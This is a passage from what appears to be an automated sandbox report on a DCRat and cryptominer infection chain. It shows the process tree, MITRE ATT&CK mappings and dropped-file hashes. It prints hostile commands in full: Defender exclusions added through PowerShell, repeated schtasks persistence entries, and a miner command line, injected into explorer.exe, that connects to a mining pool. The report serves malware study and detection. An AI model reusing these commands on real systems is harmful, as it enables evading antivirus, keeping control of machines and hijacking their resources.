        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1988
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        
        PID:2220
      - C:\Users\Admin\AppData\Roaming\services64.exe
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        6⤵
        
        PID:1308
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        7⤵
        
        PID:3636
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=445UV3m7uZw7vzcyJsS6YV6mctZdJzgKXWtU4NwucQNYfzPfuzdJ7LahEzkUx3aDrMAVDpEn1Cq8NSK9br8YqhhBAiWMTms --pass=100 --cpu-max-threads-hint=100 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=1 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth
        8⤵
        
        PID:4012
- - C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
    "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\chainContainerproviderdriver\GFpm16CSowFgEy35TRHcwvj4Rm.vbe"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1564
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\chainContainerproviderdriver\uDyCMCiZHpa.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2500
      - C:\chainContainerproviderdriver\PortContainercomponentsavesdll.exe
        
        "C:\chainContainerproviderdriver/PortContainercomponentsavesdll.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:3636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\smX4ZtDIvT.bat"
        7⤵
        
        PID:4464
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:3392
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        Runs ping.exe
        
        PID:1100
        
        C:\ProviderDriverRef\RuntimeBroker.exe
        
        "C:\ProviderDriverRef\RuntimeBroker.exe"
        8⤵
        
        PID:3944
- C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
  "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:724
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProviderDriverRef\eJD3VG.vbe"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProviderDriverRef\fAwipI.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4508
    - - C:\ProviderDriverRef\providerIntoCrtcommon.exe
        
        "C:\ProviderDriverRef/providerIntoCrtcommon.exe"
        5⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1008
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kk1ptsw2\kk1ptsw2.cmdline"
        6⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4140
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC208.tmp" "c:\Windows\System32\CSCA1CC147F7DB748CCBB1FD357EE56A76.TMP"
        7⤵
        
        PID:1964
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProviderDriverRef\conhost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\conhost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1964
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\backgroundTaskHost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3192
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\RuntimeBroker.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3360
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\1031\sihost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4560
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProviderDriverRef\providerIntoCrtcommon.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4344
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\0xomG4flrK.bat"
        6⤵
        
        PID:2548
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:432
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        7⤵
        Runs ping.exe
        
        PID:580
        
        C:\Recovery\WindowsRE\backgroundTaskHost.exe
        
        "C:\Recovery\WindowsRE\backgroundTaskHost.exe"
        7⤵
        
        PID:4268
- C:\Users\Admin\AppData\Local\Temp\1.exe
  "C:\Users\Admin\AppData\Local\Temp\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Windows\System32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4164
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3764
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      PID:3956
    - - C:\Users\Admin\AppData\Roaming\services64.exe
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        5⤵
        
        PID:4984
      - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        6⤵
        
        PID:4340
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        
        PID:3120
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        8⤵
        
        PID:1764
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=445UV3m7uZw7vzcyJsS6YV6mctZdJzgKXWtU4NwucQNYfzPfuzdJ7LahEzkUx3aDrMAVDpEn1Cq8NSK9br8YqhhBAiWMTms --pass=100 --cpu-max-threads-hint=100 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=1 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth
        7⤵
        
        PID:2144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\ProviderDriverRef\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\ProviderDriverRef\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4896

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\ProviderDriverRef\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Portable Devices\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Portable Devices\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Windows\Microsoft.NET\Framework\v4.0.30319\1031\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Windows\Microsoft.NET\Framework\v4.0.30319\1031\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 10 /tr "'C:\Windows\Microsoft.NET\Framework\v4.0.30319\1031\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2684

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "providerIntoCrtcommonp" /sc MINUTE /mo 7 /tr "'C:\ProviderDriverRef\providerIntoCrtcommon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "providerIntoCrtcommon" /sc ONLOGON /tr "'C:\ProviderDriverRef\providerIntoCrtcommon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "providerIntoCrtcommonp" /sc MINUTE /mo 11 /tr "'C:\ProviderDriverRef\providerIntoCrtcommon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:676

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProviderDriverRef\eJD3VG.vbe

Filesize
198B

MD5
51193c792f88b815ce62701eb62e79ac

SHA1
bc0611ed093ca2a4c8dd07fec6badaea820a3331

SHA256
774eb705ea6dc91eda9537d6c8e264458cdab74d91cb5f9534bf1aecfa58118b

SHA512
b05086f77e5aee92f79c1851e0665a3afd141abcba4596d5a2cc1f98702f9fe0ff8630dc2f8ab4a333eedb83902427bc4e975424b6a8cfa212d6d3f1315fcc40

Download Submit
C:\ProviderDriverRef\fAwipI.bat

Filesize
100B

MD5
30390fe3edd146af3b11422784e0c84e

SHA1
89ed5ff2c3c3e244f418aa9ecac20d5dc7ce4fd2

SHA256
2c82d911eab62a585fcd338495c058e00d0df008624cfd06147788aca8b9de48

SHA512
7f07fc7834bf79320aa05117c9755cd948dce814c52a1ef4bab271130f22581e90f00e5d5a0731b91eca737f520b239824e14385a524b74d529dc1ac72877a83

Download Submit
C:\ProviderDriverRef\providerIntoCrtcommon.exe

Filesize
1.8MB

MD5
d6f30f712882f421720632e5d2587d15

SHA1
622f2e728498209b89e8f696c14d6ddab24d151f

SHA256
b5b960301f6466f65bae6fd82bc8996de3dbf54895eeeac4c331f53ed0b6b0ca

SHA512
75f7b58677635893009ffc417e433d93771a4b4cfbe077e9b6fb019fe195e9762533e49ef7c0e743872281093e906b142c8244a97041d82ae67f90123dcb8093

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
23867f73ff39fa0dfee6cfb5d3d176ab

SHA1
8705a09d38e5f0b034a6f4b4deb5817e312204e1

SHA256
f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88

SHA512
108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
8bbd6908e148d61010a3130cb6aae4a0

SHA1
e74bcc1b0f762fcd7469d0621b9c7fe50b0c365d

SHA256
79c8ed7085737723dbc7c40b32d01ea400171787259b7458561cd5db60401023

SHA512
38057edb5f2ce86329f558bf34224c6110443635756b1b26da99f89b13e3f971bf602939f40d3fce8459cfdab4ad4fa4928ecb933ff045173535fcc46fe4855f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
26dea846fb7ec4b69cf767655abfd7ad

SHA1
85b19a7d573867a529bd4fe1ff4047bd91f9fdf6

SHA256
63b9b3bf2926898fa9cd41b748635939451583f416ec866854c889f0a42dbe62

SHA512
9158a3d2975f9600fb4409a14ef9e9c43abfeb1d77dd4bf4a39c962b08828438d61e6eb14ab7fd0d851150461a917bb88f58d473d76296bd5ce7eb0e9f615f25

Download Submit
C:\Users\Admin\AppData\Local\Temp\0xomG4flrK.bat

Filesize
172B

MD5
e97081f5648139bde71d1f3bf0ff27bf

SHA1
797ce69b44a1bf228e34ea5ae6bdc13982f9226d

SHA256
7135e1fcd4db7120baa4c6de478771d41ce7da1bd7ae90d9dfdb3e57b58ddf8e

SHA512
1dafddb06448de2efe3a3a35b8f4fb5ae604d1d63a120761c355f8e811cd2a2e246e69e707287c48d4f77bb805e2f2f7d81b04d93c65b829521583f57f1e7625

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.exe

Filesize
29.7MB

MD5
40174a5213d9558a8cadd57fb0e37c60

SHA1
357f27f6cee21340f9a9d57da2d75799482a9995

SHA256
6cd2b2f96d402d12356ef49b878db52144402fac929cde012f4e21d6839f2aad

SHA512
799533e1199c50dc018b0f936418455417801286360b2257b8dc9d0ccc32f3266e17885ab4042456f7a1b4aa17d8de63395037e65338444bc4bde305c3b23cbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\AqdHuLGK8d

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\C3aIfJjOxo

Filesize
20KB

MD5
a603e09d617fea7517059b4924b1df93

SHA1
31d66e1496e0229c6a312f8be05da3f813b3fa9e

SHA256
ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7

SHA512
eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe

Filesize
2.1MB

MD5
0626eaf085367b26db71b9b8dfc51fef

SHA1
e4e9375faa71047d06d34683119619831b6b7cea

SHA256
e86a37e834b808117b8b01beca497ba736bf8036cf76b7688985f04bd7b8c113

SHA512
1fb3abff984f23d0d2a339e71518f933144e2e4cad9c87d7f3a1d8ec2c0ab6fafc4cfca4774f947f893137ecbe1e1300b148d19dcd18762f27fd28d1e0b8cec6

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe

Filesize
2.1MB

MD5
7a59cdf60cc76e32baacdcea38ce4ffe

SHA1
d4ce3008171c4c7c2efa9eafac22a7a434c0d618

SHA256
0adcbb26a2c80395a0a0ed0967283d00607e2eff34872e5edcdfda8f26b6a38d

SHA512
32eefa18bccd8808faae35617940a1fc96443f41ae5b38e7b3242cc86577d7bff2a1cdc292f5576a537b02d47f8a4f35f8f9cfed8bd100133c52fccfade6bf58

Download Submit
C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe

Filesize
1.9MB

MD5
ec801a7d4b72a288ec6c207bb9ff0131

SHA1
32eec2ae1f9e201516fa7fcdc16c4928f7997561

SHA256
b65f40618f584303ca0bcf9b5f88c233cc4237699c0c4bf40ba8facbe8195a46

SHA512
a07dd5e8241de73ce65ff8d74acef4942b85fc45cf6a7baafd3c0f9d330b08e7412f2023ba667e99b40e732a65e8fb4389f7fe73c7b6256ca71e63afe46cdcac

Download Submit
C:\Users\Admin\AppData\Local\Temp\NgZ3Wxk4zu

Filesize
114KB

MD5
a2bc4eb3c67f34d75effa9bde49c2ffb

SHA1
f38bf9e1468d1dd11a5d197c8befcbf9302e4e57

SHA256
a2afda6ed0239af2873e61cffb2817572f9f5ce278b509d6c9c9e5f368a178e5

SHA512
30fd383d5b385ffb7f6551ea64636189bfa090a9097e8373574c6dcf3c9e7bbc8c08035057a5565fd139dc505e1ca40cd83df477c2ee67a605d0a2cf8481dffe

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC208.tmp

Filesize
1KB

MD5
13603ff54073e6645a5481ab2aeeaea9

SHA1
4f3801938a5cf4808ac5551a316e0fcbf84c2f90

SHA256
c036e77a36abc9d4f28d2bf450fa38ba736401e2ffdc12b4c49c1e669cbb62e9

SHA512
517dc240d10f099f90fc3f65ecd333dc555d23bff9be588ac556de90638d2a6e349be4a10a9de51f246565f1c590081a7316ec41916a3539e82f836fe6ed902f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
229KB

MD5
81ee8159cd03b6d0ae9e51d8cc0f3e1c

SHA1
51087190d30056a1b4acf8b58c4b2fe6bf0f0832

SHA256
b88ad09cf68043a4fb384f79ca1018c09b582c0762f27353060eae8ccc33822f

SHA512
f1f6ab30522fe6bc9d38bfe11eb7874f9fb226ce31fa55c86e07052d0dcab5575e5357340b4742b428c84068c1801d63e5c16f65232a7ac3fb99e1beb5d053a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1yktjth.5rm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\d9CmccqpWX

Filesize
48KB

MD5
349e6eb110e34a08924d92f6b334801d

SHA1
bdfb289daff51890cc71697b6322aa4b35ec9169

SHA256
c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

SHA512
2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

Download Submit
C:\Users\Admin\AppData\Local\Temp\loader.exe

Filesize
32.7MB

MD5
68a0064a9589a070b59dfc6a1b15438c

SHA1
15e85a1050882be40647f40eeee02e4a54b9edb5

SHA256
e4d77b932dc211afcdcc064f1d1d493f719a86c020256ed6399875cf397c968a

SHA512
0278f672baaedb0d33a42a4e1ae3fe9c75562cf16ecf0a541f3ac1b9d083af9e3e3a44899a8ede8a54f2319dc31b2319f3ff0820e4e0df61eb665758d1aae5ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\mHwQ32c0Rt

Filesize
20KB

MD5
49693267e0adbcd119f9f5e02adf3a80

SHA1
3ba3d7f89b8ad195ca82c92737e960e1f2b349df

SHA256
d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

SHA512
b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\smX4ZtDIvT.bat

Filesize
166B

MD5
188a090c88c2e4308d76cf605687d522

SHA1
3fd5333693a7f489171ed1fbb5f477d4dbedb385

SHA256
2770c41b4718b6f8514b243d9155147fe13ea3baab903c6993f6df967ac69e7d

SHA512
a56641ce5baa1fad834424cc622df838fce97bb7667222a46729ee3d6e2ef70a1b56e44321f8dfab75bce0913eb5db402e2ea1ae9aea2c75ae9ac2510ce9118c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tBXOT8T9J7

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
31KB

MD5
b3c4cd54c11e0ea6b4ff748d391ced25

SHA1
6994195d48a637e61862e11095b0465918eca628

SHA256
6faeb07b2d1dc0814754af7edaea5e3cc28c5f2504b89b180becc0ba38c049ac

SHA512
393464625488c1b9571fb04f8cf71da336bc86c1a1d102b6fa8faf59148d787dc531fa0afd5d33febe3ad8885bace87ce4c40bfcd2c75b7f87173f81e509e491

Download Submit
C:\chainContainerproviderdriver\GFpm16CSowFgEy35TRHcwvj4Rm.vbe

Filesize
217B

MD5
e608cf4ea0f4d94693416934001710ae

SHA1
d0888ee125f4c8b520926163fcac59724e8e88f1

SHA256
27e35f48fa6eff22499f439ccc601619a47eba764bed93f635bf78234e40c267

SHA512
5f1f014dae12cbb7935f3b1766b0e7fa48fdd98770c8dc972d3743392487709a11cc26cc7f03b3eaeedb5d4b2769b848b5edd22231b78f2608bd7e2f9de86cf0

Download Submit
C:\chainContainerproviderdriver\PortContainercomponentsavesdll.exe

Filesize
1.8MB

MD5
8a26feadb01f539c1aafc860259b2592

SHA1
842c4422cd50d315dfc843d7969dd6e5a6e6cd0f

SHA256
a74ddf675d4df1be788b4b7bc87659fb6497f738b820ac5a52b2c38a19f818a6

SHA512
